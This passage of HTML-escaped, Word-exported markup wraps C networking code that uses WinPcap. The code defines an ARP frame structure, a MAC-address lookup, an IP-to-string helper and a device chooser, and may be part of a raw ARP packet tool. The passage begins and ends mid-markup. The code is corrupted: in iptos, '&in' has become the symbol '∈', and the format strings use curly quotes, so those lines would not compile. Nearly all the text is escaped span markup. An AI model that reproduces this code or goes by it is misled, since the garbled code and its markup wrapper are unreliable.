style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&nbsp;DLCHEADER;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;typedef&nbsp;struct&nbsp;ARP_Frame&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;HW_Type;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u786c\u4ef6\u7c7b\u578b&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;Prot_Type;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u4e0a\u5c42\u534f\u8bae\u7c7b\u578b&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;HW_Addr_Len;&nbsp;&nbsp;&nbsp;&nbsp;\/\/MAC\u5730\u5740\u957f\u5ea6&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;Prot_Addr_Len;&nbsp;&nbsp;\/\/IP\u5730\u5740\u957f\u5ea6&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;Opcode;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u64cd\u4f5c\u7801,01\u8868\u793a\u8bf7\u6c42\uff0c02\u8868\u793a\u5e94\u7b54&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;Send_HW_Addr[6];&nbsp;\/\/\u53d1\u9001\u7aefMAC\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;Send_Prot_Addr[4];&nbsp;&nbsp;&nbsp;\/\/\u53d1\u9001\u7aefIP\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;Targ_HW_Addr[6];&nbsp;\/\/\u76ee\u6807MAC\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;Targ_Prot_Addr[4];&nbsp;&nbsp;&nbsp;\/\/\u76ee\u6807IP\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&nbsp;ARPFRAME;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;BOOL&nbsp;GetAdapterMAC(char&nbsp;*ipbuff,char&nbsp;*macbuff)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u83b7\u53d6\u7f51\u5361MAC&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;IP_ADAPTER_INFO&nbsp;AdapterInfo[16];&nbsp;&nbsp;\/\/\u5b9a\u4e49\u5b58\u50a8\u7f51\u5361\u4fe1\u606f\u7684\u7ed3\u6784\u6570\u7ec4&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;ArrayLength=sizeof(AdapterInfo);&nbsp;&nbsp;\/\/\u7f13\u51b2\u533a\u957f\u5ea6&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;if(GetAdaptersInfo(AdapterInfo,&amp;ArrayLength)!=ERROR_SUCCESS)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;ERROR;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;PIP_ADAPTER_INFO&nbsp;PAdapterInfo=AdapterInfo;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;do&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!strcmp(ipbuff,PAdapterInfo-&gt;IpAddressList.IpAddress.String))&nbsp;break;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PAdapterInfo=PAdapterInfo-&gt;Next;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;while(PAdapterInfo);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memset(macbuff,NULL,6);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(macbuff,PAdapterInfo-&gt;Address,6);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u83b7\u53d6\u7f51\u5361MAC\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;TRUE;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;char&nbsp;*iptos(u_long&nbsp;in)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;char&nbsp;output[12][3*4+3+1];&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;short&nbsp;which;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;u_char&nbsp;*p;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;p&nbsp;=&nbsp;(u_char&nbsp;*)\u2208&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;which&nbsp;=&nbsp;(which&nbsp;+&nbsp;1&nbsp;==&nbsp;12&nbsp;?&nbsp;0&nbsp;:&nbsp;which&nbsp;+&nbsp;1);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;sprintf(output[which],&nbsp;&#8220;%d.%d.%d.%d&#8221;,&nbsp;p[0],&nbsp;p[1],&nbsp;p[2],&nbsp;p[3]);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;output[which];&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;BOOL&nbsp;ChooseDev(char&nbsp;*devbuff,int&nbsp;buffsize,char&nbsp;*ipbuff)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;pcap_if_t&nbsp;*alldevs=NULL,*p=NULL;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;errbuff[PCAP_ERRBUF_SIZE];&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;i,choose;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;pcap_addr_t&nbsp;*a=NULL;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memset(devbuff,NULL,buffsize);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;if(pcap_findalldevs(&amp;alldevs,errbuff)==-1)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;ERROR;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;for(p=alldevs,i=0;&nbsp;p;&nbsp;p=p-&gt;next)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;%d.%s(%s)\\n&#8221;,++i,p-&gt;name,p-&gt;description);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if((a=p-&gt;addresses))&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span 